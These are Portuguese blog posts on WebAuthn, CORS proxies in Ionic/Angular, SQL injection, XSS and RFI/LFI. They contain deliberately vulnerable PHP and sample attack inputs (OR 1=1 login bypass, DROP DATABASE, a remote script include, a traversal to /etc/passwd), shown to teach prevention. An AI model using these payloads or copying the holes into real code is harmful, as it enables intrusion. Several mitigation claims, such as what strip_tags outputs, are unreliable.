O que é o WebAuthn?

[wp_ad_camp_3]

A API de Autenticação da Web (também conhecida como WebAuthn) é uma especificação escrita pelo W3C e pela FIDO, com a participação de grandes empresas como o Google, Mozilla, Microsoft dentre outros. A API permite que os servidores registrem e autentiquem usuários usando criptografia de chave pública ao invés de uma senha.

Ele permite que os servidores integrem-se aos autenticadores fortes agora integrados em dispositivos, como o Windows Hello ou o Touch ID da Apple. Em vez de uma senha, um par de chaves público-privado (conhecido como credencial) é criado para um site/aplicação web. A chave privada é armazenada com segurança no dispositivo do usuário; uma chave pública e um ID de credencial é gerada aleatoriamente é enviada ao servidor para armazenamento. O servidor pode então usar essa chave pública para provar a identidade do usuário.

A chave pública não é secreta, porque é efetivamente inútil sem a chave privada correspondente. O fato de o servidor não receber segredo tem implicações de longo alcance para a segurança de usuários e organizações. Os bancos de dados não são mais tão atraentes para os hackers, porque as chaves públicas não são úteis para eles.

O WebAuthn faz parte da estrutura FIDO2 , que é um conjunto de tecnologias que permitem a autenticação sem senha entre servidores, navegadores e autenticadores. A partir de janeiro de 2019, o WebAuthn é suportado no Chrome, Firefox e Edge, com suporte futuro no Safari.

Registrando uma credencial do WebAuthn

[wp_ad_camp_2]

Em um fluxo de registro de usuário baseado em senha, um servidor normalmente apresentará um formulário a um usuário solicitando um nome de usuário e senha. A senha seria enviada ao servidor para armazenamento.

No WebAuthn, um servidor deve fornecer dados que vinculem um usuário a uma credencial (um par de chaves público-privado); esses dados incluem identificadores para o usuário e a organização (também conhecidos como “terceira parte confiável”). O site, em seguida, usaria a API de autenticação da Web para solicitar que o usuário crie um novo par de chaves. É importante notar que precisamos de uma string gerada aleatoriamente do servidor como um desafio para evitar ataques de repetição.

Autenticando com uma credencial do WebAuthn

[wp_ad_camp_1]

Após o término do registro, o usuário agora pode ser autenticado. Durante a autenticação, uma declaração é criada, o que prova que o usuário possui a chave privada. Essa declaração contém uma assinatura criada usando a chave privada. O servidor usa a chave pública recuperada durante o registro para verificar essa assinatura.

O que é criptografia de chave pública?

A criptografia de chave pública foi inventada nos anos 70 e foi uma solução para o problema dos segredos compartilhados. É um pilar da segurança moderna da Internet; Por exemplo, toda vez que nos conectamos a um site HTTPS, ocorre uma transação de chave pública.
Criptografia de chave pública usa o conceito de um par de chaves; uma chave privada armazenada com segurança pelo usuário e uma chave pública que pode ser compartilhada com o servidor. Essas “chaves” são números longos e aleatórios que têm um relacionamento matemático entre si.

Olhando para o futuro

Embora a Autenticação da Web seja uma ferramenta importante, é sempre importante lembrar que a segurança não é uma tecnologia única; É uma maneira de pensar que deve ser incorporada em cada etapa de como o software é projetado e desenvolvido. A autenticação da Web pode ser uma parte importante desse processo, forçando 80% dos ataques de hackers a se adaptar ou a morrer.

Fora introdução todo conteúdo desse post é uma tradução do site webauthn.guide e você pode encontrar o texto original clicando aqui.

Nos próximos posts vou estar trazendo aplicações práticas e tutoriais para implementação da funcionalidade com PWA’s e sistemas Web.

The post WebAuthn – Autenticação Biométrica na Internet appeared first on Hiago Silva Souza.

Antes de criticarmos ou falar que algo é ruim, é bom entendermos o motivo pelo qual aquilo existe.

Porque o CORS existe?

O CORS (do inglês cross-origin resource sharing) é um mecanismo que permite que os conteúdos de domínios diferentes sejam compartilhados. Ele existe para evitar que o conteúdo de um determinado domínio seja utilizado por outro sem a autorização do mesmo.

Exemplo: supondo que eu queira exibir os conteúdos do youtube em meu site, faço uma análise das requisições HTTP’s feitas pelo youtube, obtendo os parâmetros da chamada criaria uma UI para usar as informações do youtube, tirando assim proveiro dos dados deles. O CORS impediria que essa ação fosse executada na camada do navegador, ou seja é uma segurança para você!

Como funcionar o CORS?

O CORS vai analisar se o recurso que você tenta carregar está sob o mesmo domínio e porta. Com isso mesmo que você tenha sua API rodando no endereço “http://localhost:8080” e sua aplicação ionic/angular rodando em suas respectivas portas (8100/4200) ao chamar a API com toda certeza vai ter sua requisição bloqueada e vai receber a mensagem de CORS.

Quando você não está sob o mesmo domínio você vai notar na parte de redes que uma requisição http gera 2 outras chamadas. A primeira chamada usa o verbo http OPTIONS, ele é utilizado pelo navegador para perguntar ao  seu servidor/aplicação quais os tipos de requisição sua aplicação permite e é no OPTIONS que você deve informar suas configurações do CORS através de Headers.

Opções para o CORS

1. Access-Control-Allow-Origin: Header utilizado para informar quais domínios você permite que use o seu conteúdo.
2. Access-Control-Allow-Methods: Header utilizado para informar quais verbos http você permite a partir dos domínios liberados.
3. Access-Control-Allow-Headers: Header utilizado para informar quais “Headers” os domínios liberados podem enviar para você.
4. Access-Control-Max-Age: Header utilizado para informar quanto tempo é válido essas configurações de CORS.

O que não devo fazer?

[wp_ad_camp_3]

Bom acho que a primeira coisa que você deve se questionar é: Preciso realmente liberar o CORS em seu ambiente? Mesmo em aplicações ionic a liberação não é necessária. O mesmo para Angular, vendo que em produção o domínio será o mesmo (ou não rs).

Mas vamos lá, supondo que você chegou a conclusão que liberar o CORS é realmente necessário, não faça isso “Access-Control-Allow-Origin: *” ao fazer isso você está simplesmente tirando uma camada de segurança que foi criada para você. Caso você esteja rodando uma aplicação ionic (já compilada), não é necessário liberar o CORS mas caso queira liberar é necessário apenas  permitir o endereço http://localhost:8080/ que é o endereço que o ionic utiliza para carregar sua aplicação compilada ou seja a liberação correta (caso deseje fazer) é “Access-Control-Allow-Origin: http://localhost:8080“.

Outra coisa bem importante é o Access-Control-Max-Age geralmente nos tutoriais ninguém comenta sobre ele. Lembra aquela segunda requisição? A do tipo OPTIONS, então ela é feita quando expira o Access-Control-Max-Age então se você não falar para o navegador que essas definições só mudam de X em X tempos todo e qualquer request que você fizer o seu servidor vai receber duas requisições (cada browser tem seu tempo padrão). Em ambiente de desenvolvimento, geralmente desabilitamos os cache’s e com isso o Access-Control-Max-Age não vai fazer efeito. Mas em ambiente de produção é algo muito importante.

Como assim não preciso liberar o CORS para o ionic?

Sim é isso mesmo, não precisa! E já vou explicar o motivo. Quando você desenvolve seu aplicativo, você geralmente testa seu projeto seu navegador e ele implementa o Same-Origin-Policy por isso que você tem problemas com CORS e acaba fazendo tudo quanto é tipo de liberação. Porém quando o seu aplicativo é compilado para APK ou IPA o ionic de forma nativa consegue desabilitar o CORS da WebView (e eles já fazem isso).

Vale lembrar que para o iOS o ionic sempre usou o UIWebView só que agora eles migraram para o MKWebView e no iOS eles não conseguem desabilitar o CORS nessa webview em especifico =/. Então ou você faz um downgrade da webview, ou você libera o CORS para a origem “http://localhost:8080” ai é uma decisão pessoal, basta acessar a documentação com as melhorias propostas pela MKWebView e colocar na balança.

Para fazer o downgrade da WebView basta colocar o conteúdo abaixo em seu config.xml para a plataforma iOS:

<preference name="CordovaWebViewEngine" value="CDVUIWebViewEngine" />

E meu ambiente de desenvolvimento, como faço?

Então para você desabilitar a checagem do CORS em seu ambiente de desenvolvimento você pode fazer uso de uma extensão do google chrome mas eu não recomendo, tive muitos problemas com essa extensão. Ela liberou o CORS mas sempre me trouxe problema com encodings em outros sites que eu acessava.

Não quer usar a extensão?

Então vamos lá, o ionic e o angular tem um recurso bem interessante e muito pouco conhecido que tem exatamente essa função (impedir problemas com CORS) são os proxies.  É algo bem simples, mas eles são apenas para ambientes de desenvolvimento. Então não se esqueça de criar uma configuração para seu endpoint  🙂

O que é um proxy? Como ele funciona?

Um proxy basicamente é um serviço intermediário entre você e seu servidor de aplicação, ele recebe sua requisição e repassa ela para o servidor original.

Vamos criar o seguinte cenário: Tenho a url (http://localhost:8888/) rodando um backend, então vamos criar um mapeamento para informar que tudo que for chamado na uri /api seja passado para o backend.

Vamos supor que você esteja desenvolvendo em uma aplicação ionic, ao digitar o endereço http://localhost:8100/api/criar-usuario ele vai redirecionar internamente no processo do ionic serve a requisição para http://localhost:8888/criar-usuario então sua aplicação vai estar chamando uma URL que está no mesmo domínio e na mesma porta assim a Same-Origin-Policy não vai ser aplicada e você pode seguir seu desenvolvimento sem necessidade de liberar o CORS para desenvolver.

Configurando o proxy no ionic

[wp_ad_camp_2]

Para configurar o proxy no ionic basta abrir o arquivo ionic.config.json e criar uma nova propriedade chamada proxies e nela definir seus paths.

Exemplo:

{
	"name": "app-meuapp",
	"app_id": "",
	"type": "ionic-angular",
	"proxies": [{
		"path": "/api",
		"proxyUrl": "http://localhost:8888/"
	}],
	"integrations": {
		"cordova": {}
	}
}

Configurando o proxy no Angular

Para fazer a configuração de seu proxy no Angular o processo é semelhante. Para isso é necessário criar um arquivo JSON com as configurações os paths desejados. Então vamos criar o arquivo proxy.conf.json e vamos colocar o conteúdo abaixo. Após isso basta você inicializar seu projeto com o comando ng serve –proxy-config proxy.conf.json.

Observação: Recomendo que coloque esse comando na chave start do package.json assim você só vai precisar rodar o comando npm start

Conteúdo para o proxy.conf.json

{
  "/api": {
    "target": "http://localhost:8888",
    "secure": false
  }
}

Conclusão

[wp_ad_camp_1]

O CORS é um recurso de segurança muito importante e precisamos gerenciar ele de acordo com as necessidades do nosso projeto, fazendo o uso das técnicas mencionadas nesse post é possível trabalhar sem dor de cabeça e claro ter um desenvolvimento saudável e seguro.

The post Ionic & Angular: Fazendo o CORS seu amigo appeared first on Hiago Silva Souza.

SQL Injection, é um furo muito comum em programas de computador. Essa falha atinge sistemas que façam interação com bases de dados, é uma falha que pode levar o cracker a acessar, manipular, modificar e até remover informações de seu banco de dados sem autorização. Para isso basta sua aplicação se comunicar com o banco de dados sem tratar a entrada de usuários. O SQL Injection, pode ser explorado desde aplicações desktop’s até aplicações web.

O Ataque!

[wp_ad_camp_1]

Um cracker pode fazer o uso de uma entrada de uma informação que interaja com alguma consulta SQL dentro da aplicação.

Exemplo: Um sistema de autenticação, até mesmo para um script para buscar um conteúdo.

Supondo que você seja uma pessoa que saiba sobre programação, observe o código abaixo escrito em PHP:

<?php
$conn = mysql_connect('localhost','root','suasenha');
mysql_select_db('teste',$conn);
$autenticar = mysql_query('SELECT COUNT(1) as qtd FROM usuario WHERE &nbsp;usuario="'.$_POST['usuario'].'" AND senha = "'.$_POST['pwd'].'"', $conn);
$res = mysql_fetch_assoc($autenticar);
if($res['qtd'] >= 1) {
echo "ACESSOU, TUDO OK!!!";
} else {
echo "Usuário ou senha incorretos.";
}

Agora vamos fazer um teste, colocando no payload da requisição o valor admin para a chave ‘usuario’ e admin para a chave ‘pwd’. A query que iria para o MySQL executar seria a query abaixo:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario="admin" AND senha = "admin"

Agora vamos modificar as informações enviadas pelo usuário, vamos supor que seu usuário seja um cracker e deseja obter acesso a sua aplicação para isso ele vai modificar o valor de usuario para admin” OR 1=1 — agora vamos fazer a mesma análise de como a query vai ser enviada ao banco de dados, segue abaixo:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario="admin" OR 1=1 --" AND senha = ""

Caso você possua o usuário que o cracker colocou na injeção, ele vai ter o acesso sem necessitar de possuir a senha.
Esse tipo de ataque, abre leque para que o cracker explore falhas de XSS em telas de cadastro em seus painéis administrativos.

Mas falhas de injeção abrem um leque muito alto para o atacante, como por exemplo a exclusão de sua própria base de dados, imagine que no campo de usuário foi informado esse conteúdo “; DROP DATABASE DATABASE(); — a query final seria a seguinte:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario=""; DROP DATABASE DATABASE(); --" AND senha = ""

E assim você acaba de perder TODO o seu banco de dados, tudo isso por não tratar uma simples entrada de informação.

Como se prevenir:

[wp_ad_camp_2]

Para se prevenir pasta você fazer o tratamento de qualquer informação antes de encaminha-lá ao banco de dados.

Vamos mudar a extensão do mysql_* para a extensão do PDO do php:

<?php
$conn = new PDO('mysql:host=localhost;dbname=teste','root','suasenha');
$autenticar = $conn-&gt;prepare('SELECT COUNT(1) as qtd FROM usuario WHERE &nbsp;usuario=:usuario AND senha = :pwd');
$autenticar->bindParam(':usuario', $_GET['usuario']);
$autenticar->bindParam(':pwd', $_GET['pwd']);
$autenticar->execute();
$res = $autenticar->fetch(PDO::FETCH_ASSOC);
if($res['qtd'] >= 1) {
     echo "ACESSOU, TUDO OK!!!";
} else {
     echo "Usuário ou senha incorretos.";
}

Pronto! A partir de agora qualquer tipo de informação enviada pelo usuário vai ser tratada, vamos ver como ficaria a consulta enviada para o MySQL com o valor da chave usuario contendo admin” OR 1=1 —:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario="admin\" OR 1=1 --" AND senha = ""

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

The post Segurança: SQL Injection, Os dados de sua empresa estão protegidos? appeared first on Hiago Silva Souza.

XSS, do inglês (Cross-site scripting) é um tipo de vulnerabilidade de segurança para o computador, ele é localizado geralmente em aplicações web. Com essa vulnerabilidade, é possível ativar ataques maliciosos ao injetarem um client-side script dentro de páginas web vista por outras pessoas.

O Ataque!

[wp_ad_camp_1]

Através de um XSS, o cracker injeta códigos de uma linguagem client-side (no caso das páginas na web JavaScript) para que esse conteúdo seja executado no navegador do visitante do website.

Exemplo de Ataque:

Seu site possui uma página de comentários, e você não aplicou as devidas validações na mesma. Com isso um cracker criou um arquivo .js e hospedou em algum lugar na internet, ai com isso ele colocou um comentário no seu site com o seguinte conteúdo “Nossa que legal =) <script src=’https://algumlugarnainternet.com.br/script-malicioso.js’></script>”, como você não tratou quando algum de seus visitantes for ver o conteúdo e carregar esse comentário automaticamente ele vai chamar o script-malicioso.js e interpretar tudo que tá escrito lá! Imagine que dentro do script-malicioso.js, contenha o conteúdo ” document.body.innerHTML=”; ” ou então o conteúdo ” window.location.href=’http://www.sitedoseuconcorrente.com.br’; “!

Esses são apenas alguns exemplos simples e fáceis de serem elaborados, ataques XSS tedem a ser mais perigosos do que se imagina. Pode se usar para roubo de senhas, tentativa de ataques a roteadores, manipulação de conteúdo, e o que a imaginação do cracker for capaz.

Como se prevenir:

[wp_ad_camp_2]

Existem diversas maneiras de se previnir, tanto na hora de mostrar o conteúdo para o usuário na tela quanto na hora de levar essa informação ao seu banco de dados. No php podemos fazer o uso da função strip_tags conforme exemplo abaixo:

<?php
$tagsPermitidas = array('b', 'p');
$informacaoQueVaiParaOBanco = strip_tags($_POST['conteudo'], $tagsPermitidas);

Supondo que o valor de $_POST[‘conteudo’] fosse “<p><a href=’http://evil.com.br’>Clique aqui para desconto</a> <b>Corra tem que ser agora!!</b></p>”, o resultado que seria retornado do strip_tags com as $tagsPermitidas seria “<p>&lt;a href=’http://evil.com.br’&gt;Clique aqui para desconto&lt;/a&gt; <b>Corra tem que ser agora!!</b></p>” e assim sua entrada de dados vai ficar tratada e segura!

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

The post Segurança: O que é XSS? appeared first on Hiago Silva Souza.

RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a aplicação.

O Ataque!

[wp_ad_camp_1]

O ataque ocorre quando o desenvolvedor faz a inclusão de arquivos, baseado em entradas dos usuários. Vamos colocar como exemplo, um formulário para selecionar o idioma de uma página:

pagina.php

<?php
   if(isset($_GET['idioma'))
        require_once($_GET['idioma']);
?>

<form method="GET">
     <select name="idioma">
          <option value="portugues.php">Português</option>
          <option value="ingles.php">Inglês</option>
     </select>
</form>

Agora o php inclui um arquivo baseado na entrada do usuário, vamos ver alguns exemplos de entradas que poderiam causar dor de cabeça:

Exemplo de RFI (chamando um arquivo remoto…)

pagina.php?idioma=http://malvado.exemplo.com.br/script-php-do-mal.txt?. Agora imagine que o script-php-do-mal.txt contenha o seguinte conteúdo “@unlink(__DIR__ . ‘/pagina.php’);” pronto você acaba de perder seu script!

Exemplo de LFI (Chamando um arquivo local…)

pagina.php?idioma=../../../../../etc/passwd%00?. Você acaba de listar a senha de seus usuários UNIX online!

Observação: Os exemplos acima são muitos comuns, e muitos provedores de hospedagem bloqueiam o acesso aos arquivos/url externas como citados nos exemplos. Os exemplos citados foram usados somente para mostrar possibilidades para exploração das falhas.

Como se prevenir:

[wp_ad_camp_2]

Caso você não seja o desenvolvedor e queira fazer uma precaução via servidor, você pode estar trabalhando com as configurações do PHP (ou do interpretador/linguagem que estiver usando), para isso desabilite a inclusão de URL’s no seu php.ini, para isso basta modificar o valor de allow_url_include para Off. No caso de LFI, o correto é o tratamento no próprio script (não fazendo uso de inclusões baseadas em informações de usuários), mas você pode se prevenir fazendo bom uso dos direitos que o próprio sistema operacional lhe oferece.

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

The post Segurança: O que é RFI / LFI? appeared first on Hiago Silva Souza.